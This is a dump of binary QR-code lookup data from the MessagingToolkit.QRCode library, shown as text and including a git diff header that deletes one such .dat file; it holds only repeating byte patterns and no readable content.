!!""BBAA@@??UUVVWWXX(())**++hhggffeeyyzz{{||HHGGFFEE99::;;<<((''&&%%WWVVUUTTNNOOPPQQssrrqqppnnooppqqSSRRQQPPcciijjkk##$$%%&&>>==<<;;YYZZ[[\\,,--..// - -ddccbbaa}}~~ DDCCBBAA==>>??@@$$##""!!SSRRQQPPRRSSTTUU oonnmmllrrssttuuOONNMMLLllmmnnoo''(())**::998877]]^^__``55667788 ``__^^]]!!""##$$@@??>>==AABBCCDD OOIIHHGGVVWWXXYY - - kkjjiihhvvwwxxyyKKJJIIHHppqqrrss++,,--..66554433aabbccdd99::;;<<\\[[ZZYY%%&&''((<<;;::99EEFFGGHHFFEEDDCCZZ[[\\]]ggffeeddzz{{||}}GGFFEEDDttuuvvww//001122221100//eeffgghh==>>??@@ - - XXWWVVUU))**++,,88776655IIJJKKLLBBAA@@??^^__``aaccbbaa``~~ !!CCBBAA@@xxyyzz{{33445566..--,,++iijjkkllAABBCCDD TTSSRRQQ--..//0044332211MMNNOOPP>>==<<;;~~}}||bbccddee__^^]]\\""##$$%%??>>==<<||}}778899::**))((''mmnnooppEEFFGGHHPPOONNMM1122334400//..--QQRRSSTT ::998877{{zzyyxxffgghhii [[ZZYYXX&&''(());;::9988;;<<==>>&&%%$$##~~}}qqrrssttIIOOPPQQLLKKJJII55667788,,++**))UUVVWWXX - - 6655//..wwvvuuttjjkkllmm - - WWVVUUTT**++,,--77665544??@@AABB""!! ||{{zzyyuuvvwwxxRRSSTTUUHHGGFFEE99::;;<<((''&&%%YYZZ[[\\--,,++**ssrrqqppnnooppqqSSRRQQPP..//001133221100CCDDEEFF~~}}||{{xxwwvvuuyyzz{{||VVWWXXYY DDCCBBAA==>>??@@$$##""!!]]^^__``))((''&&oonnmmllrrssttuuOONNMMLL22334455//..--,,GGHHIIJJzzyyxxwwttssrrqq}}~~ZZ[[\\]]!!""##$$@@??>>==AABBCCDD ~~}}aabbccdd%%$$##""kkjjiihhvvwwxxyyKKJJIIHH66778899++**))((KKLLMMNNvvuuttssppoonnmm^^__``aa%%&&''((<<;;::99EEFFGGHH||{{zzyyeeffgghh - - !! ggffeeddzz{{||}}GGFFEEDD::;;<<==''&&%%$$}}||{{zzOOPPQQRRrrqqppoollkkjjiibbcciijj))**++,,88776655IIJJKKLLxxwwvvuuiijjkkll ccbbaa``~~ !!CCBBAA@@>>??@@AA##""!! yyxxwwvvSSTTUUVV nnmmllkkhhggffeekkllmmnn--..//0044332211MMNNOOPPttssrrqqmmnnoopp__^^]]\\""##$$%%??>>==<>??@@$$##""!!]]^^__``ddccbbaa}}~~&&''(())OONNMMLL22334455//..--,,RRSSTTUU ``__^^]]gghhiijj - -ZZYYXXWWTTSSRRQQAABBCCDD ~~}}aabbccdd``__^^]]**++,,-- - -KKJJIIHH66778899++**))((VVWWXXYY - - \\[[ZZYYkkllmmnn VVUUTTSSPPOONNMMEEFFGGHH||{{zzyyeeffgghh\\[[ZZYY..//5566 GGFFEEDD::;;<<==''&&%%$$ZZ[[\\]]XXWWVVUU~}}||{{ooppqqrrRRQQPPOOLLKKJJIIIIJJKKLLxxwwvvuuiijjkkll - - XXWWVVUU778899::CCBBAA@@>>??@@AA##""!! ^^__``aaTTSSRRQQzzyyxxwwssttuuvvNNMMLLKKHHGGFFEEMMNNOOPPttssrrqqmmnnoopp TTSSRRQQ;;<<==>>??>>==<>==UUVVWWXX - - llkkjjiiuuvvwwxxLLKKJJIICCDDEEFF !77665544JJKKLLMMwwvvuuttjjkkllmm - - CCBBAA@@nnmmllkk !!""BBAA@@??<<;;::99YYZZ[[\\hhggffeeyyzz{{||HHGGFFEEGGHHIIOO!""##$$%33221100NNOOPPQQssrrqqppnnooppqq??>>==<>==<<;;88776655}}||{{]]^^__``ddccbbaa}}~~ DDCCBBAAPPQQRRSS%&&''(()//..--,,RRSSTTUU oonnmmllrrssttuu;;::9988dccbbaa`''(())**::99887744332211zzyyxxwwaabbccdd``__^^]]!!""##$$@@??>>==TTUUVVWW)**++,,-++**))((VVWWXXYY - - kkjjiihhvvwwxxyy776655//`__^^]]\++,,--..6655443300//..--vvuuttsseeffgghh\\[[ZZYY%%&&''((<<;;::99XXYYZZ[[-..//012''&&%%$$ZZ[[\\]]ggffeeddzz{{||}}..--,,++\[[ZZYYX//001122221100//,,++**))rrqqppooiijjkkll - - XXWWVVUU))**++,,88776655\\]]^^__34556677##""!! ^^__``aaccbbaa``~~ !!**))((''XWWVVUUT33445566..--,,++((''&&%%nnmmllkkmmnnoopp TTSSRRQQ--..//0044332211``aabbcc8899::;;~~}}||bbccddee__^^]]\\""##$$%%&&%%$$##TSSRRQQP778899::**))((''$$##""!!jjiiccbbqqrrssttPPOONNMM1122334400//..--iijjkkll<<==>>??{{zzyyxxffgghhii [[ZZYYXX&&''(())""!! POONMLKJ;;<<==>>&&%%$$## aa``__^^~}}||uuvvwwxxLLKKJJII55667788,,++**))mmnnoopp@@AABBCCwwvvuuttjjkkllmm - - WWVVUUTT**++,,--IIHHGGFF??@@AABB""!! ]]\\[[ZZ{{zzyyxxyyzz{{||HHGGFFEE99::;;<<((''&&%%qqrrssttDDEEFFGGssrrqqppnnooppqqSSRRQQPP..//0011EEDDCCBBCCDDEEFFYYXXWWVVwwvvuutt}}~~ DDCCBBAA==>>??@@$$##""!!uuvvwwxxHHIIJKLM oonnmmllrrssttuuOONNMMLL22334455AA@@??>>GGHHIIJJUUTTSSRRssrrqqpp!!""##$$@@??>>==AABBCCDD ~~}}yyzz{{||NOOPPQQR - - kkjjiihhvvwwxxyyKKJJIIHH66778899 - -==<<;;::KKLLMMNN QQPPOOIIoonnmmll%%&&''((<<;;::99EEFFGGHH||{{zzyy}}RSSTTUUVggffeeddzz{{||}}GGFFEEDD::;;<<== 99887766OOPPQQRR - - HHGGFFEEkkjjiihg))**++,,88776655IIJJKKLLxxwwvvuuVWWXXYYZccbbaa``~~ !!CCBBAA@@>>??@@AA5543210/SSTTUUVV - - DDCCBBAAfedccbba--..//0044332211MMNNOOPPttssrrqqZ[[\\]]^__^^]]\\""##$$%%??>>==<>==a``__^^]1122334400//..--QQRRSSTT ppoonnmm^__``aab [[ZZYYXX&&''(());;::9988FFGGHHII +**))(('[[\\]]^^<<;;::99]\\[[ZZY55667788,,++**))UUVVWWXX - - llkkjjiibccdefgh - - WWVVUUTT**++,,--77665544JJKKLLMM'&&%%$$#__``aabb88776655YXXWWVVU99::;;<<((''&&%%YYZZ[[\\hhggffeeiijjkkllSSRRQQPP..//001133221100NNOOPPQQ#""!! ~~}}||{{ccddeeff//..--,,UTTSSRRQ==>>??@@$$##""!!]]^^__``ddccbbaammnnooppOONNMMLL22334455//..--,,RRSSTTUU zzyyxxwwgghhiijj - - ++**))((QPPOONMLAABBCCDD ~~}}aabbccdd``__^^]]qqrrssttKKJJIIHH66778899++**))((VVWWXXYY!!""##$$vvuuttsskkllmmnn !!""##$$''&&%%$$KJIIHHGGEEFFGGHH||{{zzyyeeffgghh\\[[ZZYYuuvvwwxxGGFFEEDD::;;<<==''&&%%$$ZZ[[\\]]%%&&''((rrqqppooooppqqrr%%&&''((##""!! FFEEDDCCIIJJKKLLxxwwvvuuiijjkkll - - XXWWVVUUyyzz{{|| !!CCBBAA@@>>??@@AA##""!! ^^__``aa))**++,, nnmmllkkssttuuvv))**++,,BBAA@@??MMNNOOPPttssrrqqmmnnoopp TTSSRRQQ}}~""##$$%%??>>==<>==<<;;QQRRSSTT ppoonnmmqqrrssttPPOONNMM&&''(());;::9988FFGGHHII{{zzyyxxffgghhii66778899ffeeddcc{{||}}~~CCDDEEFF11223344::998877UUVVWWXX - - llkkjjiiuuvvwwxxLLKKJJII}}**++,,--77665544JJKKLLMMwwvvuuttjjkkllmm::;;<<==bbaa``__ !!""GGHHIIJJ55667788 66554321YYZZ[[\\hhggffeeyyzz{{||HHGGFFEE||{{zzyy..//001133221100NNOOPPQQssrrqqppnnooppqq>>??@@AA^^]]\\[[##$$%%&&KKLLMMNN99::;;<< - - - -0//..--,]]^^__``ddccbbaa}}~~ DDCCBBAAxxwwvvuu22334455//..--,,RRSSTTUU oonnmmllrrssttuuBBCCDDEE - -ZZYYXXWW''(())**OOPPQQRR==>>??@@ ,++**))(~~}}aabbccdd``__^^]]!!""##$$@@??>>==ttssrrqq66778899++**))((VVWWXXYY - - kkjjiihhvvwwxxyyFFGGHHII VVUUTTSS++,,--..SSTTUUVVAABBCCDD(''&&%%$||{{zzyyeeffgghh\\[[ZZYY%%&&''((<<;;::99ppoonnmm::;;<<==''&&%%$$ZZ[[\\]]ggffeeddzz{{||}}OOPPQQRRRRQQPPOO//001122WWXXYYZZEEFFGGHH$##""!! xxwwvvuuiijjkkll - - XXWWVVUU))**++,,88776655llkkjjii>>??@@AA##""!! ^^__``aaccbbaa``~~SSTTUUVVNNMMLLKK33445566[[\\]]^^IIJJKKLL ttssrrqqmmnnoopp TTSSRRQQ--..//0044332211ccbbaa``BBCCDDEE~~}}||bbccddee__^^]]\\WWXXYYZZJJIIHHGG778899::__``aabbMMNNOOPP !!""##ppoonnmmqqrrssttPPOONNMM1122334400//..--__^^]]\\FFGGHHII{{zzyyxxffgghhii [[ZZYYXX[[\\]]^^FFEEDDCC;;<<==>>ccddeeffgghhiijj - -ZZYYXXWW55667788 EEDDCCBB<<==>>??%%$$##""\\]]^^__VVUUTTSS||{{zzyyqqrrssttPPOONNMM1122334400//..--iijjkkll<<==>>??{{zzyyxxffgghhii DDCCBBAA[[ZZYYXXkkllmmnn VVUUTTSS99::;;<<AA@@??>>@@AABBCC!! ~~``aabbccRRQQPPOOxxwwvvuuuuvvwwxxLLKKJJII55667788,,++**))mmnnoopp@@AABBCCwwvvuuttjjkkllmm - - @@??>>==WWVVUUTTooppqqrrRRQQPPOO==>>??@@==<<;;::DDEEFFGG}}||{{zzddeeffggIIHHGGFFttssrrqqyyzz{{||HHGGFFEE99::;;<<((''&&%%qqrrssttDDEEFFGGssrrqqppnnooppqq<<;;::99SSRRQQPPssttuuvvNNMMLLKKAABBCCDD99887766HHIIJJKKyyxxwwvvhhiijjkk - - EEDDCCBBppoonnmm}}~~ DDCCBBAA==>>??@@$$##""!!uuvvwwxxHHIIJKLM oonnmmllrrssttuu88776655OONNMMLLwwxxyyzzJJIIHHGGEEFFGGHH !!""#55443322LLMMNNOOuuttssrrllmmnnoo AA@@??>>llkkjjii!!""##$$@@??>>==AABBCCDD ~~}}yyzz{{||NOOPPQQR - - kkjjiihhvvwwxxyy//..--,,KKJJIIHH{{||}}~~FFEEDDCCIIOOPPQQ#$$%%&&'1100//..PPQQRRSSqqppoonnppqqrrss==<<;;::hgfedccb%%&&''((<<;;::99EEFFGGHH||{{zzyy}}RSSTTUUVggffeeddzz{{||}}++**))((GGFFEEDD !!""BBAA@@??RRSSTTUU'(())**+--,,++**TTUUVVWW - -mmllkkjjttuuvvww99887766baa``__^))**++,,88776655IIJJKKLLxxwwvvuuVWWXXYYZccbbaa``~~ !!''&&%%$$CCBBAA@@##$$%%&&>>==<<;;VVWWXXYY+,,--../))((''&&XXYYZZ[[ iihhggffxxyyzz{{55//..--^]]\\[[Z--..//0044332211MMNNOOPPttssrrqqZ[[\\]]^__^^]]\\""##$$%%##""!! ??>>==<<''(())**::998877ZZ[[\\]]/0123455%%$$##""\\]]^^__eeddccbb||}}~~,,++**))ZYYXXWWV1122334400//..--QQRRSSTT ppoonnmm^__``aab [[ZZYYXX&&''(());;::9988++,,--..66554433^^__``aa66778899!! ~~``aabbccaa``__^^ !!""##((''&&%%VUUTTSSR55667788,,++**))UUVVWWXX - - llkkjjiibccdefgh - - WWVVUUTT**++,,--77665544//001122221100//bbcciijj::;;<<==}}||{{zzddeeffgg]]\\[[ZZ$$%%&&''$$##""!!RQQPPOON99::;;<<((''&&%%YYZZ[[\\hhggffeeiijjkkllSSRRQQPP..//00113322110033445566..--,,++kkllmmnn>>??@@AAyyxxwwvvhhiijjkk - - YYXXWWVV(())**++ MLKJIIHH==>>??@@$$##""!!]]^^__``ddccbbaammnnooppOONNMMLL22334455 //..--,,778899::**))((''ooppqqrrBBCCDDEEuuttssrrllmmnnoo UUTTSSRR,,--..//GGFFEEDDAABBCCDD ~~}}aabbccdd``__^^]]qqrrssttKKJJIIHH66778899 - - - -++**))((;;<<==>>&&%%$$##ssttuuvvFFGGHHIIqqppoonnppqqrrssQQPPOONN00112233CCBBAA@@EEFFGGHH||{{zzyyeeffgghh\\[[ZZYYuuvvwwxxGGFFEEDD::;;<<== ''&&%%$$??@@AABB""!! wwxxyyzzJKLMNOOP - -mmllkkjjttuuvvwwMMLLKKJJ44556677 ??>>==<>??@@AA##""!! CCDDEEFF~~}}||{{{{||}}PQQRRSST iihhggffxxyyzz{{IIHHGGFF8899::;; - - ;;::9988MMNNOOPPttssrrqqmmnnoopp TTSSRRQQ}}~""##$$%%??>>==<>??77665543QQRRSSTT ppoonnmmqqrrssttPPOONNMM&&''(());;::9988FFGGHHIIKKLLMMNNvvuuttssXYYZZ[[\aa``__^^ !!""##AA@@??>>@@AABBCC 210//..-UUVVWWXX - - llkkjjiiuuvvwwxxLLKKJJII}}**++,,--77665544JJKKLLMM !!""##OOPPQQRRrrqqppoo\]]^^__`]]\\[[ZZ$$%%&&''==<<;;::DDEEFFGG - - -,,++**)YYZZ[[\\hhggffeeyyzz{{||HHGGFFEE||{{zzyy..//001133221100NNOOPPQQ$$%%&&''SSTTUUVV nnmmllkk`aabbccd - - YYXXWWVV(())**++99887766HHIIJJKK)((''&&%]]^^__``ddccbbaa}}~~ DDCCBBAAxxwwvvuu22334455//..--,,RRSSTTUU(())**++ WWXXYYZZ - - jjiihhggefghiijj UUTTSSRR,,--..//55443322LLMMNNOO%$$##""!~~}}aabbccdd``__^^]]!!""##$$@@??>>==ttssrrqq66778899++**))((VVWWXXYY,,--..// - - [[\\]]^^ffeeddcckkllmmnnQQPPOONN001122331100//..PPQQRRSS! ||{{zzyyeeffgghh\\[[ZZYY%%&&''((<<;;::99ppoonnmm::;;<<==''&&%%$$ZZ[[\\]]55667788 - - __``aabbbbaa``__ooppqqrrMMLLKKJJ44556677--,,++**TTUUVVWW !!""xxwwvvuuiijjkkll - - XXWWVVUU))**++,,88776655llkkjjii>>??@@AA##""!! ^^__``aa99::;;<<~~}}||{{ccddeeff^^]]\\[[ssttuuvvIIHHGGFF8899::;;))((''&&XXYYZZ[[##$$%%&&ttssrrqqmmnnoopp TTSSRRQQ--..//0044332211ccbbaa``BBCCDDEE~~}}||bbccddee==>>??@@zzyyxxwwgghhiijj - -ZZYYXXWWwwxxyyzzEEDDCCBB<<==>>??%%$$##""\\]]^^__''(())**ppoonnmmqqrrssttPPOONNMM1122334400//..--__^^]]\\FFGGHHII{{zzyyxxffgghhiiAABBCCDDvvuuttsskkllmmnn VVUUTTSS{{||}}~ !!""##AA@@??>>@@AABBCC!! ~~``aabbcc++,,--.. llkkjjiiuuvvwwxxLLKKJJII55667788,,++**))[[ZZYYXXJJKKLLMMwwvvuuttjjkkllmmEEFFGGHHrrqqppooooppqqrrRRQQPPOO$$%%&&''==<<;;::DDEEFFGG}}||{{zzddeeffgg//556677 - - hhggffeeyyzz{{||HHGGFFEE99::;;<<((''&&%%WWVVUUTTNNOOPPQQssrrqqppnnooppqqIIOOPPQQ !!nnmmllkkssttuuvvNNMMLLKK(())**++99887766HHIIJJKKyyxxwwvvhhiijjkk8899::;;ddccbbaa}}~~ DDCCBBAA==>>??@@$$##""!!SSRRQQPPRRSSTTUU oonnmmllrrssttuuRRSSTTUU""##$$%%jjiihhggwwxxyyzzJJIIHHGG}}||{{,,--..//55443322LLMMNNOOuuttssrrllmmnnoo<<==>>??``__^^]]!!""##$$@@??>>==AABBCCDD OOIIHHGGVVWWXXYY - - kkjjiihhvvwwxxyyVVWWXXYY&&''(())ffeeddcc{{||}}~~FFEEDDCCzzyyxxww001122331100//..PPQQRRSSqqppoonnppqqrrss@@AABBCC\\[[ZZYY%%&&''((<<;;::99EEFFGGHHFFEEDDCCZZ[[\\]]ggffeeddzz{{||}}ZZ[[\\]]**++,,--bbaa``__ !!""BBAA@@??vvuuttss44556677--,,++**TTUUVVWW - -mmllkkjjttuuvvwwDDEEFFGG - - XXWWVVUU))**++,,88776655IIJJKKLLBBAA@@??^^__``aaccbbaa``~~^^__``aa..//0011^^]]\\[[##$$%%&&>>==<<;;rrqqppoo8899::;;))((''&&XXYYZZ[[ iihhggffxxyyzz{{HHIIOOPP TTSSRRQQ--..//0044332211MMNNOOPP>>==<<;;~~}}||bbccddee__^^]]\\bbcciijj22334455ZZYYXXWW''(())**::998877nnmmllkk<<==>>??%%$$##""\\]]^^__eeddccbb||}}~~QQRRSSTTPPOONNMM1122334400//..--QQRRSSTT ::998877{{zzyyxxffgghhii [[ZZYYXXkkllmmnn66778899VVUUTTSS++,,--..66554433jjiiccbb@@AABBCC!! ~~``aabbccaa``__^^UUVVWWXXLLKKJJII55667788,,++**))UUVVWWXX - - 6655//..wwvvuuttjjkkllmm - - WWVVUUTTooppqqrr::;;<<==RRQQPPOO//001122221100//aa``__^^DDEEFFGG}}||{{zzddeeffgg]]\\[[ZZYYZZ[[\\HHGGFFEE99::;;<<((''&&%%YYZZ[[\\--,,++**ssrrqqppnnooppqqSSRRQQPPssttuuvv>>??@@AANNMMLLKK33445566..--,,++]]\\[[ZZHHIIJJKKyyxxwwvvhhiijjkk - - YYXXWWVV]]^^__`` DDCCBBAA==>>??@@$$##""!!]]^^__``))((''&&oonnmmllrrssttuuOONNMMLLwwxxyyzzBBCCDDEEJJIIHHGG778899::**))((''YYXXWWVVLLMMNNOOuuttssrrllmmnnoo UUTTSSRRaabbccii!!""##$$@@??>>==AABBCCDD ~~}}aabbccdd%%$$##""kkjjiihhvvwwxxyyKKJJIIHH{{||}}FFGGHHIIFFEEDDCC;;<<==>>&&%%$$##UUTTSSRRPPQQRRSSqqppoonnppqqrrssQQPPOONNjjkkllmm%%&&''((<<;;::99EEFFGGHH||{{zzyyeeffgghh - - !! ggffeeddzz{{||}}GGFFEEDDJJKKLLMMBBAA@@????@@AABB""!! QQPPOOIITTUUVVWW - -mmllkkjjttuuvvwwMMLLKKJJnnooppqq))**++,,88776655IIJJKKLLxxwwvvuuiijjkkll ccbbaa``~~ !!CCBBAA@@NNOOPPQQ>>==<<;;CCDDEEFFHHGGFFEEXXYYZZ[[ iihhggffxxyyzz{{IIHHGGFFrrssttuu--..//0044332211MMNNOOPPttssrrqqmmnnoopp__^^]]\\""##$$%%??>>==<>==~~``aabbccaa``__^^ !!""##AA@@??>>zz{{||}}55667788,,++**))UUVVWWXX - - llkkjjiiuuvvwwxx !! - - WWVVUUTT**++,,--77665544ZZ[[\\]]221100//OOPPQQRR<<;;::99}}||{{zzddeeffgg]]\\[[ZZ$$%%&&''==<<;;::99::;;<<((''&&%%YYZZ[[\\hhggffeeyyzz{{||""##$$%%SSRRQQPP..//001133221100^^__``aa..--,,++SSTTUUVV 88776655yyxxwwvvhhiijjkk - - YYXXWWVV(())**++99887766==>>??@@$$##""!!]]^^__``ddccbbaa}}~~&&''(())OONNMMLL22334455//..--,,bbccddee**))((''WWXXYYZZ - - //..--,,uuttssrrllmmnnoo UUTTSSRR,,--..//55443322AABBCCDD ~~}}aabbccdd``__^^]]**++,,-- - -KKJJIIHH66778899++**))((}}||{{ffgghhii&&%%$$##[[\\]]^^++**))((qqppoonnppqqrrssQQPPOONN001122331100//..EEFFGGHH||{{zzyyeeffgghh\\[[ZZYY..//5566 GGFFEEDD::;;<<==''&&%%$$zzyyxxwwjjkkllmm""!! __``aabb''&&%%$$mmllkkjjttuuvvwwMMLLKKJJ44556677--,,++**IIJJKKLLxxwwvvuuiijjkkll - - XXWWVVUU778899::CCBBAA@@>>??@@AA##""!! vvuuttssnnooppqq~~}}||{{ccddeeff - -##""!! iihhggffxxyyzz{{IIHHGGFF8899::;;))((''&&}}||MMNNOOPPttssrrqqmmnnoopp TTSSRRQQ;;<<==>>??>>==<>??%%$$##""{{zzyyxxQQRRSSTT ppoonnmmqqrrssttPPOONNMM??@@AABB;;::9988FFGGHHIInnmmllkk{{zzyyxxvvwwxxyyvvuuttsskkllmmnnaa``__^^ !!""##AA@@??>>@@AABBCC!! wwvvuuttUUVVWWXX - - llkkjjiiuuvvwwxxLLKKJJIICCDDEEFF !77665544JJKKLLMMjjiiccbbwwvvuuttzz{{||}}rrqqppooooppqqrr]]\\[[ZZ$$%%&&''==<<;;::DDEEFFGGssrrqqppYYZZ[[\\hhggffeeyyzz{{||HHGGFFEEGGHHIIOO!""##$$%33221100NNOOPPQQaa``__^^ssrrqqpp~~ nnmmllkkssttuuvv YYXXWWVV(())**++99887766HHIIJJKKoonnmmll]]^^__``ddccbbaa}}~~ DDCCBBAAPPQQRRSS%&&''(()//..--,,RRSSTTUU ]]\\[[ZZoonnmmll - - jjiihhggwwxxyyzz !!""## - - UUTTSSRR,,--..//55443322LLMMNNOOkkjjiiccaabbccdd``__^^]]!!""##$$@@??>>==TTUUVVWW)**++,,-++**))((VVWWXXYY - - YYXXWWVVkkjjiihhffeeddcc{{||}}~~$$%%&&''QQPPOONN001122331100//..PPQQRRSSbbaa``__eeffgghh\\[[ZZYY%%&&''((<<;;::99XXYYZZ[[-..//012''&&%%$$ZZ[[\\]]UUTTSSRRggffeeddbbaa``__(())**++MMLLKKJJ44556677--,,++**TTUUVVWW - -^^]]\\[[iijjkkll - - XXWWVVUU))**++,,88776655\\]]^^__34556677##""!! ^^__``aaQQPPOOIIccbbaa``^^]]\\[[,,--..// - - IIHHGGFF8899::;;))((''&&XXYYZZ[[ ZZYYXXWW~}}mmnnoopp TTSSRRQQ--..//0044332211``aabbcc8899::;;~~}}||bbccddeeHHGGFFEE__^^]]\\fpvp˂rnvppZHAbnXv`p˂r`vXnے`JXQtArdbHAZdrtAHAbے~HfJ`ےdQZ|˂pZZdQbt˂rXQltb~f`dQbtHAZp˂rtAJlpfے`nXv`XQJ`ےfH~ے`Jf~HXQJ`ےvpfr˂p|ZdQbp˂rJlt`JXQrpvnbHAZpdrtAJHAbےlJtAJ`ےdQZ|vXnl|ZdQrXQJtbdQJXQrf~HbHAZf`vXXQr˂fpvbHAZH~fZHAbtlJXQJ`ےbdQZ|˂pZXv`f˂rXQltb`JXQrrd|bHAZpdrtAJvpfHbtl`ےbZ|d˂pZHAfpvp˂rH~fpZHAbnXv`p˂r`vXnے`JXQfpvbHAZdrtAHAXQr~HfJ`ےdQZ|˂pZZdQbt˂rXQ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`ےvpfr˂p|ZdQbrXQHAvXn`JXQrpvnbHAZpdrtAJXQr˂H~ㅐfbAdZ|vnXtbdQf`vJtArdvnXtAJlfH~JtArd`f~|drnvpXQr˂pvntbd`vXn`JXQrfpvbHAZH~fZHAbtlJZp˂vpfH˂pZXv`f˂rXQltbpZHAb`vXndrQtv`fZ|dXnv|ZdQv`pvtbdQZf`vX|ZdQHfpvtAJlfH~pZHAbXv`pQZ|dvpfbtlnXv`p˂r`vXnے`JXQfpvrXQJ`~f`HAbے~HfJ`ےdQZ|ے`JvˍpfJltHfpvrtAJlpfH~btlnrXQ|drnvpbtlnXvtbdQZf`vXے`JvnXrtAJlH~fJtAdf~HXQJ`ےvpfr˂pnXv`ےbHAvXnv`JXQrpvnbHAZpdtAJlXQr˂H~ㅐfbAdZ|nrXQtbdQf`vJtArdJ`AZtAJlfH~JtArd`f~|drnvpXQr˂v`ftbd`vXn|ZdQbfpvbHAZH~fZHAbf~HZp˂fH~˂pZXv`f˂rXQtbnpZHAXQ`vXndrQtJ`ےZ|dXnv|ZdQp˂rtbdQZf`vX|ZdQHfpvtAJlfH~pZHA~HfpQZrtAvpftlJnXv`p˂r`vXnے`JXQfpvrXQJ`f`vXHAbے~HfJ`ےvpfr˂pvˍpfJlt66666666666666666666666666666666666666666666667777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_0.dat deleted file mode 100644 index d670ed0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_0.dat +++ /dev/null @@ -1,329 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijihgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghgggfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkggghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMMMMMMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkghghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkghghggggfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkgghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOMMMMMMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlkjijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihg